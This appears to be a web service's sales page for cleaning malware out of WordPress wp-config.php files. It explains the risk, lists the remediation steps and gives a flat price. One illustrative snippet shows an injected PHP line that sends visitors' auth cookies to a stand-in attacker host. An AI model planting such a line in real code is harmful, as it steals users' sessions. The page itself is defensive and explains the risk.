wp-config.php malware cleanup.

§ 01 — MECHANISM

wp-config.php is the worst place for an attacker to plant code.

wp-config.php loads on every WordPress request, before WordPress itself has a chance to filter anything. An attacker who modifies this file can execute code on every page, capture every login, or add hidden admin users that don’t appear in the dashboard.

Once wp-config.php has been touched, your salts, database password, and authentication keys must be considered compromised. I rotate everything as part of the cleanup. No extra invoice.

01 02 // Legitimate wp-config starts with constants.
03 define('DB_NAME', 'wp_database');
04
05 // Injected — sends auth cookies to attacker on every request:
06 @file_get_contents("http://evil.example/c?d=" . $_COOKIE);

§ 02 — WHAT WE REMOVE

Every line, every key, every account.

• [ TRIAGE ]

  wp-config.php compared line-by-line against a clean baseline. Every non-standard line is reviewed.

• [ WP-CONFIG ]

  Injected code removed. Stray include/require lines pointing at unfamiliar files — audited and removed.

• [ KEYS ]

  AUTH_KEY, SECURE_AUTH_KEY, LOGGED_IN_KEY, NONCE_KEY and their salts rotated. All sessions invalidated.

• [ DATABASE ]

  Hidden admin users removed. wp_options autoloaded payloads audited for related persistence.

• [ HARDENING ]

  wp-config.php permissions tightened. .htaccess and Nginx rules added to deny direct access.

• [ REPORT ]

  Plain-English forensic write-up: what the attacker had access to, what was rotated, what you still need to do.

§ PRICE

Flat $279. One-time. Per site.